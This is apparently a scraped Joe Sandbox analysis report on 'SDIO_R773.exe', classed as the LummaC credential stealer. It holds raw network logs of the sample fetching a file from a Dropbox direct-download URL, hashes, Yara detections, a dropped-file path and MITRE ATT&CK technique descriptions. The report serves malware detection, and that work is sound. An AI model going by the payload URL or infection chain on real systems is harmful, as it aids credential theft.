2025-01-11 10:56:36 UTC	4261	IN	HTTP/1.1 302 Found Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-SIs+rPrP3KYvK5g0EjVvZjT67gE=' 'nonce-Or+ZDAYwRQ2id8utyu+MWkyzUbI=' Content-Type: text/html; charset=utf-8 Location: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/cd/0/get/Ch9Eke8i0BLC3-DtINknVGtnjncus_u99HdagMMMzqS1C8VzqEY5PQ_JhjusgWHY1s4INYrDYXnP6n3C2obINdgOZAzOWbQcf4GGcylpLcMkiO54nwiWjM6mWgFeR2Srg4dg3ZC_YHliUlRXW1veRWN7/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjgyNDkyNDI3NDAxODcyODUyNDEwMTcxNTA4NTMxMzI0NDUyOTM5; Path=/; Expires=Thu, 10 Jan 2030 10:56:35 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=CJ8LyDGQCmNILsPH3L1AS_WA; Path=/; Domain=dropbox.com; Expires=Sun, 11 Jan 2026 10:56:35 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=CJ8LyDGQCmNILsPH3L1AS_WA; Path=/; Expires=Sun, 11 Jan 2026 10:56:35 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=tD-wJ70rT0; Path=/; Expires=Sun, 11 Jan 2026 10:56:35 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Thu, 10 Jan 2030 10:56:35 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Sat, 11 Jan 2025 10:56:35 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 79515ab1b4684a798833d4306d5120c7 Connection: close
2025-01-11 10:56:36 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	162.125.66.15	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:36 UTC	401	OUT	GET /cd/0/get/Ch9Eke8i0BLC3-DtINknVGtnjncus_u99HdagMMMzqS1C8VzqEY5PQ_JhjusgWHY1s4INYrDYXnP6n3C2obINdgOZAzOWbQcf4GGcylpLcMkiO54nwiWjM6mWgFeR2Srg4dg3ZC_YHliUlRXW1veRWN7/file?dl=1# HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com
2025-01-11 10:56:37 UTC	203	IN	HTTP/1.1 400 Bad Request Content-Length: 1005 Content-Type: text/html Vary: Accept-Encoding X-Dropbox-Response-Origin: local Date: Sat, 11 Jan 2025 10:56:36 GMT Server: envoy Connection: close
2025-01-11 10:56:37 UTC	1005	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 44 72 6f 70 62 6f 78 20 2d 20 34 30 30 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Dropbox - 400</title><link href="https://cfl.dropboxstatic.com/static/metaserve

Target ID:	0
Start time:	05:55:57
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\SDIO_R773.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SDIO_R773.exe"
Imagebase:	0x400000
File size:	5'304'144 bytes
MD5 hash:	C45A36EC4B4F8D8412C60DB459C2B9D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1985877415.0000000000D74000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Function 047F85DE Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

HoW+, xrefs: 047F85E1

Memory Dump Source

Source File: 00000000.00000003.2005511559.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, Offset: 047F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_47f2000_SDIO_R773.jbxd

Similarity

API ID:
String ID: HoW+
API String ID: 0-1697190144
Opcode ID: 13994b12b4fc34cb012bc3bd243ab28f79f5bcfa59e5594994d2b880dd266e5d
Instruction ID: 8f857be9b54b2b2a6a24ae896bd5a94ca14680f0c32d58a2d17755d7cd140d56
Opcode Fuzzy Hash: 13994b12b4fc34cb012bc3bd243ab28f79f5bcfa59e5594994d2b880dd266e5d
Instruction Fuzzy Hash: CF61FC31009AD19BC717DF38CAA5A96BFAABF0331071E4AC9D8C14E363C3656601C767

Function 047F85BD Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2005511559.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, Offset: 047F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_47f2000_SDIO_R773.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e8121e5cbfaa198bff0f2e31f5adb49ceb4744afcd63d24e6bcc92b1e3b2c83
Instruction ID: 7bd526c6cee56b6d5d26e722299fd1d58f2fc104ac2bfcb0912ee034779f8eaa
Opcode Fuzzy Hash: 1e8121e5cbfaa198bff0f2e31f5adb49ceb4744afcd63d24e6bcc92b1e3b2c83
Instruction Fuzzy Hash: C58140310096D18BC7179F38CEA5696BFA5BF03324B1E4AC9D8C18E7A3C3256544C7AB

Function 047F860F Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2005511559.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, Offset: 047F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_47f2000_SDIO_R773.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7014894d25b384b5a63ef30bd28e265c2608602d0bdf3d51d324961ae4c5ea
Instruction ID: 998830a9a7312b676f01ac62679ecb9c39c706b80665dfdce35098025f7732c0
Opcode Fuzzy Hash: ab7014894d25b384b5a63ef30bd28e265c2608602d0bdf3d51d324961ae4c5ea
Instruction Fuzzy Hash: 5461DB35009AC19FC717DF78DAA56A6BFAABB0331071E4AC9D4C14D363C3656600C767

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SDIO_R773.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\NOUBJXTSUL2YOW34.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
SDIO_R773.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre